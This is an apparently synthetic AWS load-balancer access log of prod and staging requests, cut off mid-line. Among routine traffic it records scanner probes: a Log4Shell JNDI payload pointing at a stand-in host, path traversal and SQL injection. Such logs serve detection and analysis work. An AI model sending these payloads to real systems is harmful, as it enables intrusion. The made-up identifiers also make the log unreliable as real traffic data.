2024-11-01T01:49:09.865008Z prod-api-alb 183.70.74.10:46122 10.0.160.141:443 0.032123 0.286131 0.033979 200 200 655 14202 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d125-058f760d642a4646931d172c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:09.865008Z "forward" "-" "-" "10.0.160.141:443" "200" "-" "-" -https 2024-11-01T01:49:11.192619Z prod-web-alb 11.57.158.234:49176 10.0.108.238:443 0.085211 0.214874 0.079574 200 200 226 1384 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d127-1f5097f6e3744066bbc77165" "prod-web-alb.example.com" "-" 4 2024-11-01T01:49:11.192619Z "forward" "-" "-" "10.0.108.238:443" "200" "-" "-" -https 2024-11-01T01:49:12.142100Z prod-web-alb 65.81.122.96:48693 10.0.135.255:443 0.038715 0.118956 0.072439 200 200 237 10100 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d128-5fe74ad4195b4b0995e7f980" "prod-web-alb.example.com" "-" 0 2024-11-01T01:49:12.142100Z "forward" "-" "-" "10.0.135.255:443" "200" "-" "-" -https 2024-11-01T01:49:12.727141Z staging-alb 179.236.251.150:38512 49.0.236.118:8080 0.081753 0.562042 0.032524 404 404 283 3941 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d128-168ccfd3f5c6430ab64286ea" "staging-alb.example.com" "-" 5 2024-11-01T01:49:12.727141Z "forward" "-" "-" "49.0.236.118:8080" "404" "-" "-" -https 2024-11-01T01:49:13.755049Z staging-alb 199.249.174.84:59330 155.114.5.192:443 0.056516 0.657866 0.035559 302 302 526 9346 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d129-7e65e32e880f41daaacdf162" "staging-alb.example.com" "-" 9 2024-11-01T01:49:13.755049Z "forward" "-" "-" "155.114.5.192:443" "302" "-" "-" -https 2024-11-01T01:49:14.220320Z prod-web-alb 184.42.177.207:59135 10.0.124.66:443 0.035636 0.472644 0.003260 301 301 484 14397 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d12a-70cbb4db7c9f42a9a6401068" "prod-web-alb.example.com" "-" 0 2024-11-01T01:49:14.220320Z "forward" "-" "-" "10.0.124.66:443" "301" "-" "-" -https 2024-11-01T01:49:14.442084Z prod-api-alb 132.83.166.8:53642 10.0.225.160:443 0.038301 0.195949 0.042441 404 404 721 3608 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d12a-7f7dd32106eb4709a173b3b3" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:14.442084Z "forward" "-" "-" "10.0.225.160:443" "404" "-" "-" -https 2024-11-01T01:49:15.542669Z prod-api-alb 71.146.3.66:31362 10.0.137.197:443 0.034466 0.128317 0.032189 404 404 253 13949 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d12b-a71e7220602a44a08b76b476" "prod-api-alb.example.com" "-" 1 2024-11-01T01:49:15.542669Z "forward" "-" "-" "10.0.137.197:443" "404" "-" "-" -https 2024-11-01T01:49:16.521159Z prod-web-alb 105.55.118.11:60878 10.0.127.174:443 0.002075 0.401384 0.037707 200 200 581 8885 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d12c-334e4d2da9024b08a7408dc6" "prod-web-alb.example.com" "-" 1 2024-11-01T01:49:16.521159Z "forward" "-" "-" "10.0.127.174:443" "200" "-" "-" -https 2024-11-01T01:49:17.266686Z prod-web-alb 249.252.14.102:25865 10.0.57.176:443 0.062847 0.486230 0.081657 200 200 222 6980 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d12d-86535c0e30c8477aa8106837" "prod-web-alb.example.com" "-" 10 2024-11-01T01:49:17.266686Z "forward" "-" "-" "10.0.57.176:443" "200" "-" "-" -https 2024-11-01T01:49:17.841709Z staging-alb 187.254.122.225:39636 41.153.153.90:80 0.073062 0.359988 0.088149 200 200 409 14110 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d12d-6b0094278bad4d879da11dae" "staging-alb.example.com" "-" 3 2024-11-01T01:49:17.841709Z "forward" "-" "-" "41.153.153.90:80" "200" "-" "-" -http 2024-11-01T01:49:19.711501Z staging-alb 198.19.179.44:21133 155.176.85.174:8080 0.052000 0.604475 0.074859 301 301 445 10946 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d12f-a371896768714b0ca71da20e" "staging-alb.example.com" "-" 4 2024-11-01T01:49:19.711501Z "forward" "-" "-" "155.176.85.174:8080" "301" "-" "-" -https 2024-11-01T01:49:21.022761Z prod-api-alb 22.199.220.62:13409 10.0.153.203:443 0.080558 0.299132 0.001911 301 301 7 3422 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d131-ef0ef2cbc7734519876e1013" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:21.022761Z "forward" "-" "-" "10.0.153.203:443" "301" "-" "-" -https 2024-11-01T01:49:21.887018Z prod-api-alb 72.191.56.223:36562 10.0.24.67:443 0.072885 0.017320 0.040549 301 301 747 6344 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d131-2c1bb765a0e249c78524e6c8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:49:21.887018Z "forward" "-" "-" "10.0.24.67:443" "301" "-" "-" -https 2024-11-01T01:49:23.278660Z prod-api-alb 214.147.17.156:38608 10.0.117.81:443 0.053066 0.259818 0.046955 200 200 862 12050 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d133-75556b77c6d64161806566ce" "prod-api-alb.example.com" "-" 9 2024-11-01T01:49:23.278660Z "forward" "-" "-" "10.0.117.81:443" "200" "-" "-" -https 2024-11-01T01:49:24.953904Z prod-api-alb 134.53.93.176:35664 10.0.2.215:443 0.002773 0.379835 0.015653 200 200 824 13186 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d134-cd9f05fb7dd8428c81d8b929" "-" "-" 10 2024-11-01T01:49:24.953904Z "forward" "-" "-" "10.0.2.215:443" "200" "-" "-" -https 2024-11-01T01:49:25.370213Z prod-api-alb 215.42.82.121:24674 10.0.212.183:443 0.015955 0.427092 0.051663 200 200 85 2549 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d135-8af0a79c3fb6437b99e5071d" "prod-api-alb.example.com" "-" 0 2024-11-01T01:49:25.370213Z "forward" "-" "-" "10.0.212.183:443" "200" "-" "-" -https 2024-11-01T01:49:27.330602Z prod-api-alb 56.142.187.174:34184 10.0.205.27:443 0.055032 0.103772 0.024453 301 301 854 4934 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d137-f66ae9af750343849026a0cb" "prod-api-alb.example.com" "-" 3 2024-11-01T01:49:27.330602Z "forward" "-" "-" "10.0.205.27:443" "301" "-" "-" -https 2024-11-01T01:49:28.752744Z prod-api-alb 179.76.177.161:33679 10.0.9.139:443 0.068746 0.170650 0.072590 301 301 640 10982 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d138-4f2369b1568d47169dbc25c8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:49:28.752744Z "forward" "-" "-" "10.0.9.139:443" "301" "-" "-" -https 2024-11-01T01:49:30.454380Z prod-api-alb 253.24.81.107:21813 10.0.33.208:443 0.098565 0.163143 0.045663 301 301 587 13450 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d13a-03f605d23ac14ca8aec61f14" "prod-api-alb.example.com" "-" 3 2024-11-01T01:49:30.454380Z "forward" "-" "-" "10.0.33.208:443" "301" "-" "-" -http 2024-11-01T01:49:31.710539Z staging-alb 144.136.84.50:53944 26.119.57.115:8080 0.066289 0.654339 0.072925 404 404 446 11888 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d13b-2bb552e4945142878f2cc518" "staging-alb.example.com" "-" 5 2024-11-01T01:49:31.710539Z "forward" "-" "-" "26.119.57.115:8080" "404" "-" "-" -https 2024-11-01T01:49:32.564831Z staging-alb 126.44.1.122:43751 70.154.54.255:80 0.067947 0.311617 0.128643 302 302 411 4845 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d13c-6c3d687017b843f6acae109c" "staging-alb.example.com" "-" 8 2024-11-01T01:49:32.564831Z "forward" "-" "-" "70.154.54.255:80" "302" "-" "-" -https 2024-11-01T01:49:33.272706Z prod-api-alb 49.168.84.119:25944 10.0.227.112:443 0.020906 0.018515 0.028420 200 200 187 11892 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d13d-c965a6b2990b40878f4d1b34" "prod-api-alb.example.com" "-" 6 2024-11-01T01:49:33.272706Z "forward" "-" "-" "10.0.227.112:443" "200" "-" "-" -http 2024-11-01T01:49:34.945891Z staging-alb 115.150.173.12:11129 8.44.207.108:443 0.051031 0.713799 0.121611 200 200 843 13126 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d13e-725a6396202d49f690d382aa" "staging-alb.example.com" "-" 5 2024-11-01T01:49:34.945891Z "forward" "-" "-" "8.44.207.108:443" "200" "-" "-" -https 2024-11-01T01:49:36.434280Z prod-api-alb 45.155.205.9:23245 10.0.183.169:443 0.030656 0.461124 0.044714 404 404 4 11518 "POST /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d140-dac78d2d597d405d94f8836a" "-" "-" 10 2024-11-01T01:49:36.434280Z "forward" "-" "-" "10.0.183.169:443" "404" "-" "-" -https 2024-11-01T01:49:37.203551Z prod-api-alb 3.102.221.87:32103 10.0.31.78:443 0.021234 0.421458 0.048799 200 200 862 9012 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d141-c4b90fc7e91b46d082ad8c94" "prod-api-alb.example.com" "-" 6 2024-11-01T01:49:37.203551Z "forward" "-" "-" "10.0.31.78:443" "200" "-" "-" -http 2024-11-01T01:49:37.563155Z staging-alb 45.155.205.51:59484 186.97.192.135:8080 0.129458 0.666161 0.080890 404 404 476 946 "GET /api/../../../config HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d141-7bc74bb20c874b8988274066" "-" "-" 9 2024-11-01T01:49:37.563155Z "forward" "-" "-" "186.97.192.135:8080" "404" "-" "-" -http 2024-11-01T01:49:38.842678Z staging-alb 216.62.163.82:17681 36.93.242.123:80 0.068707 0.377439 0.100969 200 200 574 4396 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d142-4df5d081792a428b998204a7" "staging-alb.example.com" "-" 10 2024-11-01T01:49:38.842678Z "forward" "-" "-" "36.93.242.123:80" "200" "-" "-" -https 2024-11-01T01:49:40.297372Z staging-alb 204.187.215.103:27306 212.217.27.57:8080 0.118003 0.646727 0.102765 200 200 121 5678 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d144-fccad1a1ea2743ad8c627003" "staging-alb.example.com" "-" 5 2024-11-01T01:49:40.297372Z "forward" "-" "-" "212.217.27.57:8080" "200" "-" "-" -https 2024-11-01T01:49:40.907130Z prod-api-alb 193.27.228.82:31867 10.0.76.159:443 0.051826 0.062393 0.094788 500 500 68 7190 "GET /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d144-2b33c66f7cb84da3baf98943" "-" "-" 8 2024-11-01T01:49:40.907130Z "forward" "-" "-" "10.0.76.159:443" "500" "-" "-" -https 2024-11-01T01:49:41.679106Z prod-api-alb 247.211.34.11:16875 10.0.96.144:443 0.061576 0.212960 0.004423 302 302 288 10284 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d145-571c617b720544afbdb49f68" "prod-api-alb.example.com" "-" 7 2024-11-01T01:49:41.679106Z "forward" "-" "-" "10.0.96.144:443" "302" "-" "-" -https 2024-11-01T01:49:42.136136Z prod-web-alb 125.101.146.33:61014 10.0.141.110:443 0.064094 0.153427 0.069326 301 301 703 12586 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d146-726474cfa0dc42069d685869" "prod-web-alb.example.com" "-" 2 2024-11-01T01:49:42.136136Z "forward" "-" "-" "10.0.141.110:443" "301" "-" "-" -https 2024-11-01T01:49:42.489255Z prod-api-alb 237.83.45.143:25783 10.0.105.118:443 0.094169 0.304080 0.083183 200 200 938 13878 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d146-a7f391bf006b4abdb58f2128" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:42.489255Z "forward" "-" "-" "10.0.105.118:443" "200" "-" "-" -http 2024-11-01T01:49:42.622964Z staging-alb 180.189.208.216:59934 15.100.28.95:80 0.004757 0.532651 0.071972 200 200 257 13367 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d146-cd8057e914ff48fc8b278246" "staging-alb.example.com" "-" 10 2024-11-01T01:49:42.622964Z "forward" "-" "-" "15.100.28.95:80" "200" "-" "-" -https 2024-11-01T01:49:43.179908Z prod-web-alb 239.144.64.204:41261 10.0.100.238:443 0.033330 0.491163 0.005268 404 404 281 10077 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d147-1543999cf7ea42b2ac0b5a39" "prod-web-alb.example.com" "-" 5 2024-11-01T01:49:43.179908Z "forward" "-" "-" "10.0.100.238:443" "404" "-" "-" -https 2024-11-01T01:49:43.925419Z staging-alb 231.149.176.176:18377 84.179.85.147:443 0.073889 0.708156 0.008150 404 404 791 10646 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d147-e5ce5d2a282b4576aabee028" "-" "-" 5 2024-11-01T01:49:43.925419Z "forward" "-" "-" "84.179.85.147:443" "404" "-" "-" -https 2024-11-01T01:49:44.290262Z prod-web-alb 175.65.254.204:18599 10.0.126.157:443 0.061114 0.270894 0.061457 200 200 581 877 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d148-363ec76165ee4e7a811f3b24" "prod-web-alb.example.com" "-" 2 2024-11-01T01:49:44.290262Z "forward" "-" "-" "10.0.126.157:443" "200" "-" "-" -http 2024-11-01T01:49:45.723035Z staging-alb 88.62.45.168:60561 67.97.63.170:443 0.083296 0.022449 0.036727 404 404 51 8827 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d149-84f46074c0094e1898e7ecd3" "staging-alb.example.com" "-" 2 2024-11-01T01:49:45.723035Z "forward" "-" "-" "67.97.63.170:443" "404" "-" "-" -https 2024-11-01T01:49:47.175407Z prod-web-alb 49.136.79.170:29789 10.0.210.78:443 0.013545 0.308155 0.092958 200 200 37 1122 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d14b-19b82894b45a4463add6befa" "prod-web-alb.example.com" "-" 0 2024-11-01T01:49:47.175407Z "forward" "-" "-" "10.0.210.78:443" "200" "-" "-" -https 2024-11-01T01:49:47.969119Z prod-api-alb 22.192.234.135:35492 10.0.237.104:443 0.032109 0.170866 0.034182 404 404 646 2169 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d14b-ab0591ee67dc4b5d9ede874c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:47.969119Z "forward" "-" "-" "10.0.237.104:443" "404" "-" "-" -https 2024-11-01T01:49:48.151536Z prod-api-alb 237.96.21.197:58263 10.0.141.149:443 0.013134 0.106530 0.011205 302 302 469 10153 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d14c-e054281eb9134982bcabd43f" "prod-api-alb.example.com" "-" 7 2024-11-01T01:49:48.151536Z "forward" "-" "-" "10.0.141.149:443" "302" "-" "-" -https 2024-11-01T01:49:49.942438Z staging-alb 31.0.211.180:48951 23.16.243.142:8080 0.058084 0.148281 0.045436 200 200 316 6391 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d14d-e7f121950b7f4b20a0a8c793" "staging-alb.example.com" "-" 5 2024-11-01T01:49:49.942438Z "forward" "-" "-" "23.16.243.142:8080" "200" "-" "-" -https 2024-11-01T01:49:50.093749Z prod-web-alb 41.244.212.196:43675 10.0.25.49:443 0.008372 0.125629 0.036417 200 200 815 14638 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d14e-0a5199cc7ec34c27b001c0a2" "prod-web-alb.example.com" "-" 5 2024-11-01T01:49:50.093749Z "forward" "-" "-" "10.0.25.49:443" "200" "-" "-" -https 2024-11-01T01:49:50.406313Z prod-web-alb 18.122.111.77:29505 10.0.248.177:443 0.007350 0.159072 0.069982 302 302 516 325 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d14e-7974cfbf13904ed582f0c968" "prod-web-alb.example.com" "-" 10 2024-11-01T01:49:50.406313Z "forward" "-" "-" "10.0.248.177:443" "302" "-" "-" -https 2024-11-01T01:49:51.111207Z prod-web-alb 193.27.228.8:24098 10.0.43.155:443 0.078672 0.469861 0.094916 403 403 182 6193 "POST /search?q=1' UNION SELECT HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d14f-bb206781e33e446c9d01c0e0" "-" "-" 6 2024-11-01T01:49:51.111207Z "forward" "-" "-" "10.0.43.155:443" "403" "-" "-" -http 2024-11-01T01:49:52.671170Z staging-alb 74.105.218.203:11457 147.141.243.144:443 0.085447 0.265397 0.069852 200 200 34 929 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d150-678836beb98946d9b74c9647" "staging-alb.example.com" "-" 9 2024-11-01T01:49:52.671170Z "forward" "-" "-" "147.141.243.144:443" "200" "-" "-" -https 2024-11-01T01:49:52.934530Z prod-api-alb 187.144.166.15:15459 10.0.158.164:443 0.088412 0.134260 0.057008 200 200 92 3065 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d150-90dac1e103dd42cf8381a9ae" "prod-api-alb.example.com" "-" 10 2024-11-01T01:49:52.934530Z "forward" "-" "-" "10.0.158.164:443" "200" "-" "-" -http 2024-11-01T01:49:54.484084Z staging-alb 67.94.38.127:53776 25.200.9.50:443 0.109515 0.139634 0.031952 302 302 259 7612 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d152-71a5216cb0474313bb973bc6" "staging-alb.example.com" "-" 9 2024-11-01T01:49:54.484084Z "forward" "-" "-" "25.200.9.50:443" "302" "-" "-" -https 2024-11-01T01:49:55.589649Z prod-api-alb 190.218.229.180:38796 10.0.234.242:443 0.064259 0.201841 0.061484 301 301 35 12979 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 